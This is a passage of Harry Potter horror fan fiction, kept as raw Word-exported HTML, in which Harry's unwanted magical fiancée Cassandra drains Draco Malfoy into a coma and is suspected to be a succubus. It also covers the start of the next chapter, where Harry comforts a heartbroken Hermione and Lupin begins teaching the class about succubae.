magical\nlaw.&nbsp; His only hope was that Sirius\nwould eventually find Cassandra&#8217;s mother and get her to cross her signature off\nof the contract.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">The\nonly time Harry had any space to himself was when he was in the Gryffindor\nCommon Room.&nbsp; He couldn&#8217;t thank God\nenough that the Sorting Hat had placed Cassandra in Ravenclaw and not in\nGryffindor.&nbsp; He often spent hours\nranting about just how much of a nuisance Cassandra was.&nbsp; Ron looked sympathetic.&nbsp; Hermione on the other hand seemed to be\ngetting more and more miserable as the weeks passed but she did the best she\ncould to comfort Harry.&nbsp; She often\nreminded him and herself that Sirius was in Romania looking for the means to\nrelease Harry from the contract.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">On\nthe first Hogsmeade visit, Cassandra dragged Harry away from the castle.&nbsp; She said it was natural for them to go out\non a date.&nbsp; Harry just wanted to be away\nfrom her clutches but she looked determined.&nbsp;\nHarry finally gave in deciding that one Hogsmeade visit wouldn&#8217;t hurt.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">They\nwent to the Three Broomsticks and got two tankards of butterbeer.&nbsp; People in the tavern all gawked at the\nbeautiful girl who was clinging on to the famous Harry Potter and looking at\nhim adoringly.&nbsp; Harry looked like he\nwould rather face a troop of dementors rather be with Cassandra in the pub.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Why,\ndon&#8217;t you two look cute together,&#8221; said Madame Rosmerta with a grin.&nbsp; Harry simply scowled.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">After\na few minutes, Draco Malfoy entered with his two goons, Vincent Crabbe and\nGregory Goyle.&nbsp; He walked up to Harry\nand Cassandra and smirked.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Oh,\nso famous Potter is here with his fianc&#233;e?&#8221; he sneered.&nbsp; &#8220;What&#8217;s the matter Potter, aren&#8217;t you\nenjoying have a babe clinging to your arm like that?&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Shut\nup, Malfoy,&#8221; said Harry.&nbsp; He wasn&#8217;t in\nthe mood to argue with his long time rival.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;So\nPotter isn&#8217;t satisfied with just having every wizard in the world knows his\nname eh?&nbsp; His not satisfied with being a\nQuidditch star eh?&nbsp; No, he needs to have\nhis &#8216;wife&#8217; cling to him twenty-four hours a day, seven days a week.&nbsp; So, how is &#8216;married&#8217; life, Potter?&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Harry\nwas about to retort when Cassandra suddenly pulled him up.&nbsp; &#8220;Come on Harry, he&#8217;s not worth it.&#8221;&nbsp; She dragged him out of the pub while Malfoy,\nCrabbe, and Goyle howled with laughter.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Cassandra\nled Harry all the way back to the castle.&nbsp;\nAs soon as they entered, Cassandra stormed away toward the Ravenclaw Common\nRoom without saying goodbye to Harry.&nbsp;\nHarry didn&#8217;t know what to make of that.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">That\nnight, Malfoy was sitting in his dorm room when a brown barn owl swooped in and\ndeposited a letter on his lap.&nbsp; Malfoy\nopened the letter and read the following:</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar"><i>Draco,</i></p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar"><i>Meet\nme at the Astronomy Tower tonight at 9:00.</i></p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;\ntext-align:right;layout-grid-mode:char;word-break:break-all" align="right"><i>Love,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;\ntext-align:right;layout-grid-mode:char" align="right"><i>Your Secret Admirer</i></p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Malfoy\nglanced at the clock and noticed that it was 8:48 PM.&nbsp; He silently crept out of his dorm room and made his way out of\nthe Slytherin Common Room.&nbsp; Carefully,\nso as to avoid Filch and Mrs. Norris, Malfoy made his way to the Astronomy\nTower.&nbsp; When he opened the door, he was\nshocked to see Cassandra Frost there.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;You?&#8221;\nhe sneered.&nbsp; &#8220;What are you doing\nhere?&nbsp; I thought you were Potter&#8217;s\ngirl.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Cassandra\nmade a sweet smile that could turn any boy&#8217;s head.&nbsp; &#8220;Oh, but Draco, Harry is nothing.&nbsp; You are the one I really want.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;This\nis a trick,&#8221; hissed Malfoy.&nbsp; &#8220;Potter&#8217;s\nin this.&nbsp; You&#8217;re trying to humiliate\nme.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;No\nI&#8217;m not Draco,&#8221; said Cassandra very sweetly while walking up to Malfoy.&nbsp; &#8220;You are truly the one I want.&nbsp; I may be bonded with Potter but the idea of\ngoing behind his back turns me on.&#8221;&nbsp; She\nwhispered the last part into Malfoy&#8217;s ear.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Malfoy\nshivered.&nbsp; After all, Cassandra was\nprobably the most beautiful girl in Hogwarts and Draco was a hormonic\nteen.&nbsp; &#8220;Oh really?&#8221; he said with a grin.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Really,&#8221;\nwhispered Cassandra.&nbsp; She pulled Draco\ninto a passionate kiss.&nbsp; Draco succumbed\nto the passion and kissed her right back.&nbsp;\nAfter a few moments however, something seemed to be wrong.&nbsp; Draco felt like he was getting weaker and\nweaker.&nbsp; In fact it felt as if his life\nforce was being sucked out of his mouth!&nbsp;\nEventually, Draco was too weak to stand and he collapsed to the floor,\nhis vision blurring and his breath wheezing.&nbsp;\nHe could barely register Cassandra standing over him with a malicious\ngrin and a triumphant glint in her icy blue eyes.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Draco\nmanaged to gasp out, &#8220;W&#8230;what have&#8230;y&#8230;you&#8230;done&#8230;t&#8230;to&#8230;me&#8230;?&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Cassandra\nsmirked.&nbsp; &#8220;You will never torment my\nHarry again.&#8221;&nbsp; Draco tried to reach up\nto her but lost his strength.&nbsp; A second\nlater, everything became black.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">The\nnext morning, the quiet of the dawn was broken by a piercing scream when\nProfessor Sinestra discovered Draco Malfoy&#8217;s lifeless body in the Astronomy\nTower.&nbsp; As it turned out, Malfoy was in\na coma and no amount of spells could bring him out of it.&nbsp; He was left in the hospital wing in his own\nbed in a state that was not too different from petrification, except, not even\nMandrakes worked to bring him out of his comatose state.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">By\nthe next day, everybody in Hogwarts knew of what happened to Draco.&nbsp; Ron, for his part, looked overjoyed to have\nMalfoy out of the picture.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Finally,&#8221;\nhe declared with a triumphant grin, &#8220;we get to have some time to ourselves\nwithout Ferret boy breathing down our necks!&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Ron!&nbsp; I know Malfoy is a jerk and all but you\nshouldn&#8217;t be overjoyed about a student being attacked.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Oh\ncome on Hermione.&nbsp; You&#8217;re just as happy\nas Harry and I are to have Malfoy finally out of the picture.&nbsp; Right Harry?&#8221;&nbsp; Unfortunately, Harry wasn&#8217;t able to answer since Cassandra was\ndragging him down another hallway.&nbsp;\nHermione looked crestfallen.&nbsp; Ron\nnoticed.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Come\non Hermione.&nbsp; You know that Harry doesn&#8217;t\nwant anything to do with Cassandra.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;I\nknow Ron, but it still hurts to see them together like that.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Many\nrumors spread throughout Hogwarts over what had happened to Malfoy and students\nwere stating to get a little nervous.&nbsp;\nStill, Dumbledore was with them and students had absolute confidence\nthat so long as the headmaster was with them, they would be safe.&nbsp; As far as rumors went, nothing came close to\nthe truth.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Lucius\nMalfoy was absolutely furious about what had happened to his son and tried to\nblame it on Dumbledore.&nbsp; Luckily for\nHogwarts, Lucius was currently being investigated for his ties to the Death\nEaters and he really couldn&#8217;t do anything drastic.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">There\nwas a knock on the door to Dumbledore&#8217;s office.&nbsp; &#8220;Come in,&#8221; said the headmaster.&nbsp;\nRemus Lupin came in looking a little worried.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Albus,\nI checked Draco Malfoy&#8217;s body.&nbsp; Your\nhunch was right.&nbsp; There were slight\ndifferences but all of the symptoms were exactly the same.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Dumbledore\nsighed and buried his face into his hands.&nbsp;\n&#8220;Succubae attack,&#8221; he muttered.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Yes,&#8221;\nsaid Lupin.&nbsp; &#8220;That means that if we\ndon&#8217;t bring him out of his coma soon, he will die in a few months.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Dumbledore\nnodded.&nbsp; &#8220;We cannot alert the students\nthat there might be a succubus loose in Hogwarts, at least not yet.&nbsp; We need more proof.&nbsp; Otherwise there would be a full scale\npanic.&#8221;&nbsp; He straitened up.&nbsp; &#8220;Remus, I&#8217;m going to have to ask you to\nchange your curriculum a little.&nbsp; Teach\nthe students anything and everything we know about succubae and incubi.&nbsp; If worse comes to worse, the students may\nhave to protect themselves.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Lupin\nnodded.&nbsp; &#8220;I&#8217;ll get onto it right\naway.&#8221;&nbsp; He left the office.&nbsp; Dumbledore sighed once more.&nbsp; If there was indeed a succubus loose in\nHogwarts, then more attacks would be expected.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">A/N\nHere&#8217;s a quick note.&nbsp; Dumbledore,\nSirius, and Lupin only found out about the betrothal on the day Cassandra\narrived at Hogwarts and concluded that James and Lily were tricked into signing\nit.&nbsp; Now, is this story starting to\nsound a little scary?&nbsp; I hope it at\nleast tingles you a little because it is in the horror genre.&nbsp; R/R and tell me what you think.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(128, 3, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n3: Another Attack\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Gryffindor vs.\nSlytherin Quidditch match came about a week after Draco&#8217;s attack.&nbsp; Slytherin was absolutely crushed since they\nhad no seeker.&nbsp; As soon as he had caught\nthe snitch and had landed, Harry was bombarded by Cassandra who pulled him into\na deep passionate kiss out in the middle of the Quidditch Pitch where she had\nran on.&nbsp; Before, Harry could react, the\nentire Gryffindor Quidditch team had landed and were backslapping Harry or\nshowering him with whistles and catcalls as well as most of Gryffindor house\nwhom had streamed onto the pitch.&nbsp;\nAmidst the chaos, Harry managed to escape Cassandra&#8217;s grasp and make his\nway to the Gryffindor Common Room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Password?&#8221; asked\nthe Fat Lady.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Phoenix Feather,&#8221;\nsaid Harry.&nbsp; The portrait swung open and\nHarry climbed into the Common Room.&nbsp; He\nwas startled to find Hermione in one of the sofas facing the fireplace, crying.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermione?&nbsp; What&#8217;s wrong?&#8221; he asked, his voice filled\nwith concern.&nbsp; Hermione looked up quite\nstartled and made a double take when she saw Harry, still in his scarlet\nQuidditch robes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;N-nothing is\nwrong,&#8221; she managed to stutter.&nbsp; The\ntruth was that she was heartbroken when she saw Cassandra kiss Harry out on the\nQuidditch pitch and had run back to the Common Room.&nbsp; Harry came over and sat beside her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You know you can\ntell me about anything that is bothering you,&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I-I can&#8217;t tell\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;If you can&#8217;t tell\nme I&#8217;ll respect that,&#8221; said Harry.&nbsp;\n&#8220;Just remember that I&#8217;ll always be there for you.&#8221;&nbsp; He drew Hermione into a gentle hug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione glanced\ninto his emerald green eyes, which shone with care, warmth, and concern.&nbsp; &#8216;He cares for me so much,&#8217; she thought.&nbsp; &#8216;He&#8217;s always been so kind and is always concerned\nabout other people.&nbsp; I love him so\nmuch.&nbsp; But he&#8217;s bound to Cassandra.&nbsp; I&#8217;m just his best friend.&#8217;&nbsp; Even though Harry had constantly assured her\nand Ron that he felt nothing for Cassandra, Hermione couldn&#8217;t help but feel\napprehensive.&nbsp; Cassandra was probably\nthe most beautiful girl in Hogwarts.&nbsp;\nShe on the other hand, though quite attractive wasn&#8217;t exactly stunningly\nbeautiful and only had an average figure.&nbsp;\nShe was short at five foot three and had frizzy brown hair and simple\ncinnamon brown eyes.&nbsp; She often felt\ntiny next to Harry&#8217;s five foot eleven and Ron&#8217;s six foot two frame.&nbsp; Feeling insignificant, Hermione burst into\nanother wave of sobs and buried her face into Harry&#8217;s chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry simply sat\nthere comforting the crying girl in his arms.&nbsp;\nHe constantly whispered soothing words to her and rubbed her back\ngently.&nbsp; He also kissed the hair on her\nhead.&nbsp; Harry gazed down at\nHermione.&nbsp; Sure she wasn&#8217;t exactly a\nstunner, but Harry suddenly thought, &#8216;She&#8217;s so beautiful.&#8217;&nbsp; Harry was floored when he realized what had\njust crossed his mind.&nbsp; &#8216;Wait a\nminute.&nbsp; Did I just think Hermione is\nbeautiful?&nbsp; Well, she is, admit it\nPotter.&nbsp; But still, she&#8217;s your best\nfriend.&nbsp; You can&#8217;t think about your best\nfriend like that.&#8217;&nbsp; Harry shrugged and\nburied the thought away.&nbsp; After a few\nminutes, Hermione calmed down and she soon fell asleep in Harry&#8217;s arms.&nbsp; The exhaustion of the Quidditch match\ncatching up to him, Harry also fell asleep as he laid his cheek on Hermione&#8217;s\nhead.&nbsp; They remained in that position\nfor about an hour and a half when the rest of Gryffindor house finally returned\nfrom celebrating their victory outside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;OK, today we&#8217;re\ngoing to be studying about succubae,&#8221; said Lupin.&nbsp; He was instructing the sixth year Gryffindors the following day\nin their Defense against the Dark Arts class.&nbsp;\n&#8220;Now can someone tell me what a succubus is?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Like always,\nHermione&#8217;s hand was the first one that sprang up.&nbsp; &#8220;A succubus is a demonic creature with the appearance of a\nbeautiful woman.&nbsp; They primarily prey on\nmen and they suck out their victims&#8217; life force while their victims are sleeping.&nbsp; The male versions are called incubi and they\nprey on women.&#8221;</p>\n\n<p class="MsoNormal" 